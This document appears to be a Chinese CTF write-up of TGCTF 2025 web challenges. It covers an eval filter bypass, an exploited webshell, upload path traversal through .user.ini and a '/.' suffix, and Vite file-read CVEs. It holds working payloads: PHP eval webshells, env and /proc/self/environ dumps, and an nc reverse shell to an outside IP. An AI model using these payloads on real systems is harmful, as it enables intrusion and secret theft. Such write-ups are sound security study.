AAA偷渡阴平

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

过滤了很多东西,这里看看没有过滤什么

字母(大小写均可)
数字 2
空格英文括号 ()
下划线 _
分号 ;

非常严格system(ls);可以看到当前目录,但是(ls /)肯定不行

FILE 获取当前路径

?tgctf2025=print_r(dirname(__FILE__));// 查看当前目录

print_r()打印;dirname()目录回溯

这里只能查看当前目录dirname(),想到用scandir函数

scandir 是一个 用于扫描目录内容并返回文件列表的函数

Array
(
    [0] => .
    [1] => ..
    [2] => file1.txt
    [3] => subdir
)

会返回指定路径下的所有文件/子目录名称

?tgctf2025=print_r(scandir(dirname(dirname(dirname(dirname(__FILE__)))))); 

看到了flag文件在根目录下,但是无法通过.flag直接读取

想到用readfile(flag)读取

chdir()函数可以改变当前工作目录到根目录/,所以配合readfile(),读取目录下的flag

?tgctf2025=chdir(dirname(dirname(dirname(dirname(__FILE__)))));readfile(flag);

火眼辩魑魅

原题的robotx.txt中只有tgshell.php有漏洞

<?php
    $shell=$_POST["shell"];
    {
        eval($shell);
    }
?>

由于直接给了Webshell脚本,先试试

POST:shell=phpinfo();

成功返回php配置信息,这里可以考虑查看环境变量找flag,但是没有

直接尝试,还有其他的命令执行函数都被过滤

shell=system('ls /');

直接蚁剑

注:

这里我还尝试

shell=nc -e /bin/sh 1.95.38.198 2333
shell=system('nc -e /bin/sh 1.95.38.198 2333');

来反弹shell,但是eval() 接收字符串并作为 PHP 代码 执行,所以上面是错误的语法

而下面才是正确的,但是system等函数被ban,无法进行

(ez)upload

题目提示有备份文件

index.php.bak

没用,因为是文件上传,猜想有其他备份文件

upload.php.bak
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

        if (isset($_GET['name'])) {
            $file_name = $_GET['name'];
        } else {
            $file_name = basename($_FILES['name']['name']);
        }
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['name']['tmp_name'];
            $file_content = file_get_contents($temp_file);

            if (preg_match('/.+?</s', $file_content)) {
                $msg = '文件内容包含非法字符,禁止上传!';
                $status_code = 403; // 403 表示禁止访问
            } else {
                $img_path = UPLOAD_PATH . $file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                    $msg = '文件上传成功!';
                } else {
                    $msg = '上传出错!';
                    $status_code = 500; // 500 表示服务器内部错误
                }
            }
        } else {
            $msg = '禁止保存为该类型文件!';
            $status_code = 403; // 403 表示禁止访问
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        $status_code = 404; // 404 表示资源未找到
    }
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
    'status_code' => $status_code,
    'msg' => $msg,
]);

题目中通过 $_GET['name'] 参数直接控制上传后的文件名

if (isset($_GET['name'])) {
    $file_name = $_GET['name']; // 直接使用GET参数控制文件名
} else {
    $file_name = basename($_FILES['name']['name']);
}

代码未对 $file_name 做路径过滤,可通过 ../ 实现路径穿越,将文件写入上级目录

1.利用 .user.ini

  PHP会在每个目录下扫描 .user.ini 文件,允许覆盖PHP配置,使所有PHP文件执行前/后自动包含指定文件

POST /upload.php?name=../.user.ini
auto_prepend_file=a.jpg
POST /upload.php?name=../a.jpg
<?php phpinfo();?>
或者
<?php system('cat /proc/self/environ');?>
<?php system('env');?>//查看环境变量

2../绕过

POST /upload.php?name=muma.php/.
<?php @eval($_POST['pass']);?>
http://127.0.0.1:56963/uploads/muma.php

连接,查看环境变量

POST /upload.php?name=../hack.php/.
<?php @eval($_POST['hack']);?>
http://127.0.0.1:62126/hack.php//在根目录下
hack=system('env');

直面天命

创建虚拟环境和激活

python3 -m venv myenv
source myenv/bin/activate

前端GAME

前面就拿了几分被说菜,后面拿到几十分后,就给了提示

/tgflagggg

什么源代码都没东西,看看框架,可能有漏洞

CVE-2025-30208//漏洞码

由于题目告诉了flag的位置,再配合漏洞应该就可以读取

GET /@fs/(tgflagggg)?import&raw??//括号内容即可任意文件读取

前端GAME(plus)

同样的,不过vite的版本更新了

CVE-2025-31486
http://127.0.0.1:5173/(tgflagggg)?.svg?.wasm?init//括号内任意文件读取

解码即可